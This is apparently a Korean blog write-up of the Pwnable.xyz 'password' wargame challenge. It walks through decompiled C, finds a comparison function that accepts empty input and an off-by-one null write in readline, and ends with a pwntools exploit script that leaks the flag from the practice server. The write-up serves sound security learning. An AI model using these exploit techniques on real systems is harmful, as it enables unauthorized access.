tmxklab

[Pwnable.xyz] password 본문

War Game/Pwnable.xyz

[Pwnable.xyz] password

tmxk4221 2020. 9. 9. 22:27

1. 문제

nc svc.pwnable.xyz 30026

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [rsp+0h] [rbp-20h]
  size_t n; // [rsp+8h] [rbp-18h]
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Secure login.");
  printf("User ID: ");
  v4 = (unsigned __int8)read_int32();
  if ( !v4 )
  {
    puts("You are not root.");
    exit(1);
  }
  byte_202207 = v4;
  load_password();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ");
      v3 = read_int32();
      if ( v3 != 2 )
        break;
      if ( creds == 1 )
      {
        memset(&unk_202208, 0, 0x20uLL);
        puts("New password: ");
        readline(&unk_202208, 32LL);
      }
      else
      {
        puts("Not logged in.");
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        if ( byte_202207 )
        {
          puts("You are not root.");
        }
        else
        {
          n = 0LL;
          s = (void *)b64decode(&unk_202208, 32LL, &n);
          printf("Current password: %s\n", s);
          memset(s, 0, n);
          free(s);
        }
      }
      else if ( v3 == 4 )
      {
        load_password();
        creds = 0;
      }
      else
      {
LABEL_20:
        puts("Invalid");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_20;
      login();
    }
  }
}
  • v4에 입력을 받고 v4가 0이면 exit()호출하여 종료
  • byte_202207에 v4값을 저장하고 load_password()호출
  • v3에 메뉴 선택에 대한 입력 값을 저장
  • 메뉴 1 : login()호출
  • 메뉴 2 : creds(전역변수)가 1이면 unk_202208(전역변수)에 32byte만큼 입력할 수 있음, creds가 1이 아니면 puts()로 문자열 출력
  • 메뉴 3 : byte_202207(전역변수)가 참이면 puts()로 문자열 출력, 참이 아니면 b64decde(unk_202208, 0x20, n)을 호출하고 s를 출력한 뒤 memset() → free(s)를 차례대로 호출
  • 메뉴 4 : load_password()호출하고 creds를 0으로 초기화

 

3-2) load_password()

unsigned int load_password()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("./flag", 0);
  if ( fd == -1 )
  {
    puts("Can't read password.");
    exit(1);
  }
  printf("Restoring original password... ");
  sleep(2u);
  read(fd, &unk_202208, 0x20uLL);
  close(fd);
  puts("Done.");
  return sleep(1u);
}
  • flag파일을 open하여 flag파일의 내용을 unk_202208에 저장

3-3) b64decode()

base64 decoding해주는 함수인 것 같다. 코드가 길어서 ㅋㅋ

 

3-4) login()

unsigned __int64 login()
{
  __int64 v1; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Password: ");
  readline(&unk_202228, 32);
  v1 = 0LL;
  ptr = b64decode((__int64)&unk_202208, 0x20uLL, &v1);
  if ( (unsigned int)b64cmp((const char *)ptr, (const char *)&unk_202228) )
  {
    printf("Invalid password.");
  }
  else
  {
    creds = 1;
    printf("Welcome user id: %d\n", (unsigned __int8)byte_202207);
  }
  free(ptr);
  return __readfsqword(0x28u) ^ v3;
}
  • unk_202228에 32byte만큼 입력 값 저장
  • b64decode(unk_202208, 0x20, v1)을 실행하여 ptr에 return값 저장
  • b64cmp(ptr, unk_202228)이 참이 아니면 creds를 1로 초기화하고 byte_202207출력
  • unk_202208에는 flag값이 존재하고 unk_202228에는 password값이 존재하는데 flag값을 디코딩한 값이 ptr에 들어가고 ptr과 password와 비교하여 동일한 값이면 byte_202207을 출력하는 것 같다.

 

3-5) b64cmp()

__int64 __fastcall b64cmp(const char *a1, const char *a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  int v4; // [rsp+18h] [rbp-8h]

  if ( a1 && a2 )
  {
    v4 = strlen(a1);
    if ( v4 != (unsigned int)strlen(a2) )
      return 1LL;
    for ( i = 0; i < v4; ++i )
    {
      if ( a1[i] != a2[i] )
        return 1LL;
    }
  }
  return 0LL;
}
  • a1과 a2 둘 다 값이 존재하면 a1과 a2간에 문자열을 비교하여 문자열이 같으면 0으로 반환, 틀리면 1
  • 존재하지 않으면 바로 0으로 반환 (로직이 이상함) 0으로 반환 되면 login함수에서 creds에 1로 초기화하고 byte_202207을 출력해주기 때문에

 

3-6) readline()

__int64 __fastcall readline(void *a1, int a2)
{
  int v2; // eax

  read(0, a1, a2);
  v2 = strlen((const char *)a1);
  *((_BYTE *)a1 + v2 - 1) = 0;
  return (unsigned int)(v2 - 1);
}
  • a1에 a2만큼 입력 값을 받는다.
  • a1 + strlen(a1) - 1 에 널 바이트를 넣고 strlen(a1) - 1을 리턴 값을 준다.

 

전역변수)

  • creds : 0x202200
  • byte_202207 : 0x202207 → user id가 담겨있음
  • unk_202208 : 0x202208 → flag파일의 내용 담겨있음
  • unk_202228 : 0x202228 → password 저장되어 있음

 


2. 접근방법

 

먼저, 메인 함수에서 while문 시작하기 전에 load_password()에서 flag파일의 내용을 unk_202208로 복사한다. 이후에 메뉴 3번을 통해 unk_202208을 base64로 디코딩한 값을 s에 저장하여 s를 출력해주는 부분이 존재한다.

if ( v3 == 3 )
{
	if ( byte_202207 )
	{
		puts("You are not root.");
	}
	else
	{
    		n = 0LL;
        	s = (void *)b64decode(&unk_202208, 32LL, &n);
        	printf("Current password: %s\n", s);
        	memset(s, 0, n);
       	 	free(s);
	}
}
  • else문이 실행되기 위해서 byte_202207에 있는 값이 0이 되어야 한다.

하지만, 메인 함수 처음에 login을 시도하기 위해서 User ID값에 0이 되면 안되고 User ID값은 byte_202207에 저장된다.

 

 

각 메뉴의 기능)

  • 메뉴 1 : base64로 디코딩된 flag값과 입력 값이 같으면 creds를 1로 세팅하고 byte_202207을 출력 → login()
  • 메뉴 2 : creds가 1로 세팅되어야 새로운 패스워드를 입력받는 readline(unk_202208, 32)를 수행
  • 메뉴 3 : base64로 디코딩된 flag값을 출력
  • 메뉴 4 : load_password()를 수행하고 creds를 0으로 초기화하는데 아무래도 어떤 작업을 하다가 변조된 flag값을 로드하는 역할인 것 같다.

 

정리하자면 현재 수행할 수 있는 기능은 메뉴 1번과 4번밖에 없는데 (creds는 처음에 0으로 세팅되어 있으므로) 4번은 flag값 리로드하는 역할밖에 없어서 메뉴 1번을 자세히 보도록하자.

 

 

메뉴 1)

위에서 말했듯이 메뉴 1번에서 최종적으로 얻을 수 있는 것은 creds값을 1로 세팅해서 메뉴 2번을 호출할 수 있는 것이다. 그럼 login()의 if문을 살펴보자

if ( (unsigned int)b64cmp((const char *)ptr, (const char *)&unk_202228) )
{
	printf("Invalid password.");
}
else
{
  creds = 1;
  printf("Welcome user id: %d\n", (unsigned __int8)byte_202207);
}
  • b64cmp()의 파라미터로 ptr과 unk_202228을 준다.
  • ptr에는 base64로 디코딩된 플래그 값이 존재하고 unk_202228은 패스워드에 대한 입력 값이다.
  • else문이 실행되기 위해서는 b64cmp()의 리턴 값이 0이 되어야 한다.
if ( a1 && a2 )
{
  v4 = strlen(a1);
  if ( v4 != (unsigned int)strlen(a2) )
    return 1LL;
  for ( i = 0; i < v4; ++i )
  {
    if ( a1[i] != a2[i] )
      return 1LL;
  }
}
return 0LL;
  • b64cmp()에서 문자열을 비교하는 로직이다. (a1과 a2는 파라미터)
  • 먼저 a1과 a2와 문자열을 비교하여 같지 않으면 반환 값을 1로 준다.
  • 이후에 a1[i]과 a2[i]의 값을 strlen(a1)만큼 반복하여 비교하여 틀리면 반환 값을 1로 준다.
  • b64cmp()의 마지막에 0으로 반환 값을 주는데 로직이 이상한 점을 발견할 수 있다.
  • 처음 if문에서 a1과 a2의 값이 존재하지 않으면 그냥 0으로 반환된다.
  • 아까 코드분석할 때 이상한 부분이 바로 이 부분이다.

 

따라서, 입력에 널 바이트를 주면 b64cmp()의 반환 값을 0으로 주고 login()의 else문이 실행됨에 따라 creds를 1로 세팅할 수 있다.

 

 

메뉴 2)

이제 creds가 1로 세팅되었으니 메뉴 2의 readline(unk_202208, 32)를 수행할 수 있다. 우리의 목표는 unk_202208바로 앞에 존재하는 byte_202207을 0으로 세팅하는 것을 생각하고 readline()의 코드를 보자

  read(0, a1, a2);
  v2 = strlen((const char *)a1);
  *((_BYTE *)a1 + v2 - 1) = 0;
  return (unsigned int)(v2 - 1);
  • a1은 unk_202208이며 기존의 flag값이 저장된 곳이다.(a2 = 32)
  • read(0, unk_202208, 32)를 하고 "a1 + strlen(unk_202208) - 1"에 널 바이트를 저장한다. 디버깅을 통해 자세히 확인해보자

  • 현재 "A" * 8를 입력으로 준 상황이며 unk_202208에 "A" * 8이 들어간 것을 확인할 수 있다.
  • 위 로직이 실행되면 strlen(unk_202208) - 1 = 7을 rdx에 저장하고 unk_202208의 주소 값이 담긴 [rbp-0x18]의 값을 rax에 저장한다.
  • 마지막으로 rax = rax + rdx하고 [rax]에 0을 넣게 되는데 그럼 결과적으로 0x55e05793e208 + 7에 널 바이트를 넣게 된다.

  • 그럼 "A"를 한개 넣게 되면 0x55e05793e208 + 1 - 1에 널 바이트를 넣게 된다.
  • 만약에 입력 값이 문자열로 인식하지 못하면 unk_202208 + 0 - 1에 널 바이트를 넣게 되고 그럼 byte_202207에 널 바이트가 들어가게 된다.
  • strlen()에서 문자열의 끝을 널 바이트로 인식하기 때문에 널 바이트를 넣게 되면 byte_202207에 널 바이트가 들어간다.

 

최종적으로 우리의 목표는 메뉴 3번을 실행시키는 것이고 3번을 실행시키기 위해서 byte_202207에 널 값이 들어가야 한다. 널 값이 들어가게 하는 방법은 위에서 설명하였다.

 

 

공격 프로세스)

  • 메뉴 1 실행 → 널 바이트 입력
  • 메뉴 2 실행 → 널 바이트 입력
  • 메뉴 4 실행 → 변조된 플래그 값 다시 리로드
  • 메뉴 3 실행 → 플래그 값 출력

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30026)
#gdb.attach(p)

# 1. setting "creds = 1"
p.sendlineafter("ID: ", str(1))
p.sendlineafter("> ", str(1))
p.sendafter("Password: ", "\x00")

# 2. setting "byte_202207 = 0"
p.sendlineafter("> ", str(2))
p.sendafter("password: ", "\x00")

# 3. load flag content
p.sendlineafter("> ", str(4))

# 4. print flag content
p.sendlineafter("> ", str(3))

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] executioner v2  (0) 2020.09.09
[Pwnable.xyz] badayum  (0) 2020.09.09
[Pwnable.xyz] executioner  (0) 2020.09.09
[Pwnable.xyz] punch it  (0) 2020.09.09
[Pwnable.xyz] catalog  (0) 2020.09.09
Comments